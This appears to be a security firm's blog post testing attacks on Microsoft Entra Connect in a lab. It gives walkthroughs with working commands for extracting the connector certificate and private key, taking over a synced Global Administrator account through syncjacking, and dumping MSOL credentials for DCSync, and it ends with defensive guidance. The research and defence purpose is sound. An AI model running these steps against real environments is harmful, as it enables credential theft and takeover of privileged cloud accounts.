Introduction

Enter Azure AD Connect, now known as Entra Connect. It synchronises on-prem AD accounts to Microsoft Entra ID. This is not to be confused with Entra Connect Cloud Sync, which serves a different set of functions entirely.

Brief Digram of how Entra Connect works

With Entra Connect we don’t have to abandon old infrastructure, painfully recreate it, or have users need two separate accounts. Except, we have now created a privileged component sitting on the trust boundary which has access to our cloud and on-premises environments. Thus, the attack surface has expanded, and attackers will seek to compromise the on-premises Entra Connect agent to pivot onto the cloud environment.

We set up a simple lab, a virtualised AD environment of 25 users running Entra Connect. This was synchronised to our tenant in the cloud. From here we tested as many techniques as possible to determine their exploitation feasibility.

In our field guide we will explore techniques that as of October 2025, are still in use, or have been used previously to exploit Entra Connect. However, due to how fast paced evolution in this area is, we were unable to test some techniques. For instance, readers may be aware of exploitation revolving around certificates. Or Daniel Heinsen’s series on exploiting the Entra Connect’s metaverse component. While these and other bleeding edge techniques may be viable, for the purposes of this blog we decided to exclude exploitation of them.

For the techniques we did test, we have catalogued these as either feasible or unfeasible. The ones that we have determined as feasible are demonstrated with walkthroughs.

We will also discuss the impact of Entra Connect being compromised by an adversary. To that end, we have also provided some guidance for defenders in the hopes of preventing that from occurring.

An Attacker’s POV

Assume an attacker has breached the on-premises domain controller running Entra Connect. In this scenario, they seek to pivot into the cloud and then establish persistent access. However, these techniques alone do not result in them achieving this goal. For example, they may compromise the credentials of a privileged cloud user who also exists on-premises. Except, some conditional access policies enforce MFA, so unless attackers have some means of defeating that mechanism; this technique is not useful for pivoting.

It is important to recognise that although Entra Connect can indeed be exploited, it is but one potential part of what are more complex attack chains. So, when we consider our scenario of DC compromise, the presence of Entra Connect in and of itself doesn’t equal instant compromise of the cloud environment. We must always manage our expectations, especially when we target a moving component like Entra Connect. Although these attacks worked against the testing environment we set up, the complexity of hybrid environments and the myriad of ways Entra Connect can be set up does mean that some of the techniques that worked here might not work against all hybrid environments.

Tools Affected by MSOnline PowerShell Module Deprecation

As an additional complication for attackers, some tools which were helpful in exploiting Entra Connect utilise the MSOnline PowerShell Module and Azure AD Graph. Microsoft has recently deprecated these, and in our research, we noted the effect this had on AADInternals. For interacting with all things Entra Connect, Microsoft now uses the Microsoft Graph PowerShell SDK which functions differently. Unfortunately, we did not have time to investigate updating AADInternals or other tools ourselves. So, we cannot say how much has changed for sure. It may take some time for these tools to be updated, and if they are, they could function differently given the changes to Microsoft Entra Connect, specifically those affecting authentication.

What isn’t Feasible

AADConnectorAccount Password Takeover

In the good old days, pivoting onto the cloud using Entra Connect was easy. Previously when Entra Connect was installed, it would create an AAD Connector Account. This account would have a randomised password set and could authenticate to the cloud just like any other user. Except it had its own privileged sync role, and if you could retrieve the account credentials with AADInternals , that was it, you were in. Fortunately, defenders can breathe a sigh of relief as Microsoft has moved from password based to application/certificate-based authentication. Thus, this attack is no longer possible:

Running the Get-AADIntSyncCredentials returns no output

Running the Get-AADIntSyncCredentials command now returns no output

The image below, courtesy of Dirk Jan illustrates Microsoft’s shift to certificate-based authentication more clearly:

Authentication Changesto Entra Connect Account

With these changes, the old route is closed, and we can no longer use this technique against Entra Connect.

CVE-2024-37334 – RCE via Microsoft OLE DB Driver for SQL Server

This CVE may at first glance appear an exciting attack vector, as it is possible to achieve RCE if the victim connects to the attacker’s SQL server. Though it has been patched one might think it can still be used to exploit infrastructure still running an older Entra Connect version, but this is unviable. The attack relies on an authenticated user interacting with an attacker-controlled SQL server database using an outdated and vulnerable driver. However, it is unlikely an attacker will come across a server with this exact driver. Even if they did, there’s still the matter of convincing a privileged user to then connect to their malicious SQL server. All this makes for an unfeasible technique.

What is Feasible

Certificate extraction for Entra Connector Account

Now that Microsoft has switched to certificate-based authentication for the Connector account, new techniques are needed for exploitation. Luckily, Dirk-jan has come out with a tool to dump the certificate we need, ADSyncCertDump. We were able to use this tool in our lab and can confirm it works.

# Required arguments for ADSyncCertDump.exe 
PS> .\ADSyncCertDump.exe  
Usage: ADSyncCertDump.exe <certificate_thumbprint><client_id><tenant_id>

Firstly, certificate thumbprints can be found at:

C:\Windows\ServiceProfiles\ADSync\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\(folder on the sync enabled host)

Thumbprint location

The client_id for the connector account is the same as the username. This can be found by running ADSyncDecrypt.exe. This requires administrative privileges on the host running Entra Connect as the script needs to interact with DLLs in C:\ Program Files\Microsoft Azure AD Sync\Bin\

ADSyncDecrpyt requirements table

PS C:\Program Files\Microsoft Azure AD Sync\Bin> .\ADSyncDecrypt.exe            
Opening database Data Source=(localdb)\.\ADSync2019;Initial Catalog=ADSync;Connect Timeout=30                                                S-1-5-32-544                                                                     
Token number is: 1420                                                            
Windows ID
Name is: NT AUTHORITY\SYSTEM                                         
S-1-5-80-3245704983-3664226991-764670653-2504430226-901976451                    
Token number is: 1448                                                            
Windows ID Name is: NT SERVICE\ADSync                                            
Configuration XML:  

<------------- SNIP ------------->  

<parameter name="UserName" type="string" use="connectivity" dataType="String">{f6974bd7-3ff9-4b2d-9066-8123eecd02d2}@<REDACTED>.onmicrosoft.com</parameter>"  

<------------- SNIP ------------->  
<------------- SNIP ------------->  

&lt;TenantId&gt;0e42ea91-5456-4d17-9065-ccce645c35f3&lt;/TenantId&gt; 

<------------- SNIP ------------->

The client ID can alternatively be found remotely by running Dirk-jan’s adconnectdump.py script (see section on extracting MSOL service account credentials) where the client ID is present in the connector account email.

Tenant ID output from adconnectdump.py

Alternatively, the tenant ID can be enumerated if you know the target domain name using the following curl command:

curl -s https://login.microsoftonline.com/{DOMAIN}/.well-known/openid-configuration | grep -oP '"issuer"\s*:\s*".*?/(\K[0-9a-f-]{36})'

curl command example

Now that we have the certificate thumbprint, client ID and tenant ID values we can run ADSyncCertDump.exe and extract the certificate information:

PS C:\Users\syncadmin\Documents\adconnectdump\ADSyncDecrypt\ADSyncCertDump\bin\Debug> .\ADSyncCertDump.exe 9F4B24FAADB20BE61CE9168F73DAE29F7AD3052A   f6974bd7-3ff9-4b2d-9066-8123eecd02d2 0e42ea91-5456-4d17-9065-ccce645c35f3 

Found certificate: CN=Entra Connect Sync Provisioning 

-----BEGIN CERTIFICATE-----    

MII{CERT}vhVQ==  

-----END CERTIFICATE-----  

Found CNG key with name: fa0d84a7-a1a4-4b58-af94-1282d896f8c7
Key Name: 8594c863bab88f15c165818506ac3026_7b843108-a8ad-4d40-bcc3-413090259a9e
Provider: Microsoft Software Key Storage Provider
Algorithm Group: RSA
Exporting software based private key

-----BEGIN PRIVATE KEY----- 

MIIEv{PRIV}X6xOl/g==

-----END PRIVATE KEY-----

Authentication assertion for roadtx                                                                                                 
eyJ0eX{REDACTED}i8TA 

#Example usage of the assertion token in roadtx: 

roadtx appauth --assertion "<assertJWT>" -c <client_id> -t <tenant_id> -s https://graph.microsoft.com/.default

In terms of the impact and importance to red teamers, extracted certificates via ADSyncCertDump could be used to establish on-host persistence and access to synchronization configuration data.

Daniel Heinsen’s June 2025 analysis of the addKey API function to add new application certificates, demonstrated persistent off-host access techniques. However, current testing suggests Microsoft’s August 2024 privilege reductions have changed access permissions for non-interactive sessions (certificate/application sessions) narrowing their access down to only Synchronization.ReadWrite.All Graph API calls, preventing broader GraphAPI enumeration/exploitation.

Syncjacking: Abusing Entra Connect Attribute Matching for Account Takeover

The syncjacking attack leverages Entra Connect’s attribute matching mechanism which ensures attributes for synced user accounts stay consistent between the cloud and on-premises. This attack was originally discovered and detailed by the Semperis research team, who noted that by manipulating the mS-DS-ConsistencyGuid attribute attackers can hijack a synced user in the cloud and acquire their privileges.

The attack works by copying a target user’s unique consistency GUID to a newly created malicious account, then deleting the original user to force Entra Connect to associate the cloud identity with the attacker’s account.

Attack Prerequisites

  1. WriteProperty or GenericWrite permissions on an unsynchronised on-premises AD account
  2. Delete permissions on the target synchronised AD account
  3. Access to a server running Entra Connect or ability to trigger synchronisation cycles
  4. Password Hash Synchronisation (PHS) enabled (default mode set by Entra Connect when using express settings)

Attack Walkthrough

Find a target synchronised user

First, enumerate on-premises users to identify suitable targets. Look for accounts that are synchronised to Entra ID, particularly those with privileged roles:

Get-ADUser -Filter * -Properties * | Select-Object Name, UserPrincipalName, mS-DS-ConsistencyGuid | Where-Object {$_.’mS-DS-ConsistencyGuid' -ne $null}

syncjacking user enumeration

stellhalo user in azure

For purposes of demonstration, we are targeting the user stellhallo who has Global Administrator permissions.

Extract the target user’s mS-DS-ConsistencyGuid

First, identify your target synchronised user and extract their consistency GUID, which serves as the unique identifier between on-premises and cloud objects:

$targetUser = Get-ADUser -Identity '{targetuser-Name}' -Properties mS-DS-ConsistencyGuid 
$targetConsistencyGuid = $targetUser.'mS-DS-ConsistencyGuid' 
Write-Host "Target Consistency GUID: $targetConsistencyGuid" # Confirm the GUID

Identifying target synchronised user example

Create the malicious user account

Create a new on-premises user account that will inherit the target’s cloud identity. Configure the account with the target’s UPN and the extracted consistency GUID:

New-ADUser -Name 'newSyncjackUser' -SamAccountName 'newSyncjackUser' -OtherAttributes @{ 
    'userPrincipalName'='targetuser-Name@tenant.onmicrosoft.com' 
    'mS-DS-ConsistencyGuid'=$targetConsistencyGuid 
    'mail'=targetuser-Name@tenant.onmicrosoft.com' 
    'proxyAddresses'=@('SMTP:targetuser-Name@tenant.onmicrosoft.com') 
} -Path "OU=Finance,OU=Research,DC=lab,DC=local" #Create in OU which is synced

Malicious user creation example

This article detailed a method of viewing all OUs which are included and excluded when a synchronisation runs.

Configure account credentials

Set a password for the malicious account and enable it:

Set-ADAccountPassword -Identity 'newSyncjackUser' -NewPassword (ConvertTo-SecureString "YourNewPassword123!" -AsPlainText -Force)
Enable-ADAccount -Identity 'newSyncjackUser'

Malicious account configuration example

Delete the original target user

Remove the legitimate target user from Active Directory:

Removing original user example

Force initial synchronisation

Perform a synchronisation cycle. The malicious account should now have its attributes matched to the target’s cloud identity, inheriting all roles and permissions:

Forcing a sync cycle

Following successful synchronisation, authentication to the cloud account can be performed using the target’s UPN (targetuser-Name@tenant.onmicrosoft.com) with the attacker-controlled password (YourNewPassword123!). The cloud account retains all existing role assignments and group memberships whilst being controlled by the malicious on-premises account.

syncjacking success example

In terms of impact and importance to red teamers, current testing confirms that syncjacking can provide synced account takeover. This extends to accounts with privileged roles in the cloud. During Semperis’ initial disclosure of this issue to Microsoft MSRC, they concluded that the hard/soft-matching of user attributes is a “by-design” component of synchronisation. MSRC updated its hardening guidance to advise for the use of MFA for any synced user account, and to disable soft matching and hard match takeover.

However, every cloud environment and Active Directory environment is fundamentally different in terms of configurations, policy, and security control variations, such as MFA implementations. MFA on syncjacked accounts will present an obvious hurdle to complete account takeover, though attackers may still achieve partial compromise depending on the specific environmental configurations. Red teamers should assess this technique within the context of their target’s unique hybrid identity architecture and deployed security controls.

Remote MSOL Service Account Credential Extraction

DCSync attacks represent a well-established technique for extracting password hashes from Active Directory environments. In hybrid Entra Connect environments, this attack leverages the automatically created MSOL service account to perform domain replication operations and extract credentials from the on-premises domain controller.

This technique requires privileged access to the Entra Connect server, which typically means the attacker already possesses Domain Administrator privileges on the on-premises environment. Therefore, this attack does not cross security boundaries but rather provides an alternative method for credential extraction within an already-compromised domain. The primary value lies in persistence and accessing the Entra Connect configuration database rather than privilege escalation.

The MSOL account is automatically generated during Entra Connect installation with the naming convention MSOL_{Random 12 Character Alphanumeric Combination} and possesses the necessary replication permissions to perform DCSync operations.

The MSOL service account can be found using the following command:

Command to locate MSOL service account

Dirk-jan’s adconnectdump tool can extract these credentials from the Entra Connect database, enabling subsequent DCSync attacks.

Attack Prerequisites

  • Domain Administrator or equivalent privileges on the on-premises domain
  • Administrative credential access to the server running Entra Connect
  • MSSQL Express LocalDB installed on your attacking machine
  • Python environment with impacket installed for adconnectdump.py
  • ADSyncQuery.exe and decrypt.py in the same directory as adconnectdump.py
  • Windows Defender disabled on the local attacking machine
  • Preferred DCSync execution tool (e.g., Mimikatz, impacket's secretsdump)

Attack Walkthrough

Environment Setup and Tool Compilation:

Prepare the necessary tools for credential extraction. Download Dirk-jan’s adconnectdump toolkit and ensure all components are in the same working directory:

  • adconnectdump.py (main extraction script)
  • ADSyncQuery.exe (compiled .NET executable)
  • decrypt.py (decryption utility)

Compile ADSyncQuery.exe using Visual Studio or dotnet CLI if not already available.

Extract MSOL Service Account Credentials

Execute the credential extraction against the Entra Connect server using domain administrator credentials:

python.exe adconnectdump.py 'DOMAIN/ADMIN-USER@CONNECT-SYNC-HOST-IP'

adconnectdump.py output

The tool will extract both Azure AD service principal credentials and the local MSOL account credentials. The output should display:

  • Azure AD connector account username and password
  • Local MSOL service account domain, username, and password
  • Confirmation of successful credential extraction

Execute DCSync Attack

Using the extracted MSOL credentials, we can perform a DCSync attack to retrieve domain password hashes. For demonstration purposes, we’ll show the Mimikatz approach, but you can use your favourite DCSync execution tool if you so wish:

mimikatz DCSync Attack output

Attempt Cloud Pivot

With extracted password hashes, attempt authentication to Entra ID for accounts with Password Hash Synchronization enabled. However, significant limitations apply:

  • Multi-Factor Authentication: Some environments use conditional access policies to implement MFA controls and block authentication from unexpected locations.
  • Password Complexity: Password cracking efficiency depends a lot on the minimal password length and complexity within the environment.
  • Account Lockout Policies: May trigger after failed authentication attempts.

In terms of impact and importance to red teamers, the DCSync technique via MSOL account extraction provides limited additional value beyond traditional DCSync methods when Domain Administrator privileges are already achieved. The technique serves primarily as an alternative credential extraction method and demonstrates the interconnected risk between on-premises and cloud environments. However, since the attack requires existing Domain Administrator access to the Entra Connect server, it does not constitute a privilege escalation or true pivot across security boundaries. Red teamers should consider this technique valuable for persistence and comprehensive credential harvesting within already-compromised domains, particularly where PHS is enabled, though cloud authentication success remains heavily dependent on bypassing MFA and conditional access controls.

Implications of Successful Entra Connect Exploitation

Should we be able to exploit Entra Connect to pivot into the cloud the entire domain or other federated domains are as good as compromised, as are potentially cloud assets and applications. So even after the initial fallout of say, a ransomware attack, pivoting onto the cloud still leave threat actors with persistent domain access, and of course, the ability to move laterally within and exfiltrate data from the cloud.

This is detrimental to any organisation with a significant cloud presence. But it’s even more harrowing when you consider the historical precedent. In the past threat actors, namely Storm-0501 have been able to install backdoors into their targets cloud infrastructure for persistence.

Defensive Guidance for Entra Connect

Having looked at potential attack techniques, it’s also important to consider how to go about defending Entra Connect:

  • Treat Entra Connect as a tier 0 asset, as recommended by Microsoft. That is to say, it should be treated as critical to the operation of the Active Directory environment. Installing the Entra Connect on a separate server to the domain controller is the best approach here. This way we lessen the attack surface on the domain controller.
  • If the Entra Connect server sits exposed to the internet, connecting a legacy AD environment to the cloud, the services and ports exposed should be minimal to reduce the attack surface available to adversaries. Additionally, it should be closely monitored and access to it tightly controlled.
  • Although not Entra Connect specific, to avoid syncjacking attacks disable soft matching and hard match takeover as recommended by MSRC.
  • As an extra layer of defence, MFA and a strong password policy is a must for all users.

Conclusion

Entra Connect exists within the ever-changing paradigm of the cloud where environments shift constantly. This makes for a complex target, with an attack surface that can either widen or close at any time. Given that Entra Connect remains a core part of a hybrid environment set up within the Entra ecosystem, organisations must be cognisant of the threats it faces.

Our research demonstrates that while some attack vectors are no longer viable, valid albeit less impactful exploitation pathways remain accessible to attackers. In our testing we confirmed that it is possible to extract the certificate for the connector account, but this account has limited access to cloud resources. Furthermore, syncjacking attacks which leverage attribute matching for the account takeover proved to still be possible however this pathway does not bypass MFA. Finally, testing confirmed that using the MSOL service account credential extraction for DCSync operations is still viable; though the extracted connector credentials no longer provide direct access to the cloud. While these techniques have evolved limitations compared to their historical implementations, they still represent concrete attack paths that demonstrate why Entra Connect requires attention.

Even as some attacks are fixed, others are still viable and will present attackers with paths to compromising a cloud environment. Not to mention the inevitability of new attack techniques against Entra Connect emerging. Or other bleeding edge techniques that already exist, which we did not cover in this blog post. Therefore, we encourage further investigation into such avenues such as Shaked Ilan’s guide from March 2025. Ignoring these techniques and others will mean attackers will take advantage whenever the opportunity arises. The only way to protect and safely use a moving target like Entra Connect is to move with it.

References & Further Reading

Similar Posts

Staying Sneaky in the Office (365)

Breaking Down Azure DevOps: Techniques for Extracting Pipeline Credentials

Elevating Attack Path Mapping to the Clouds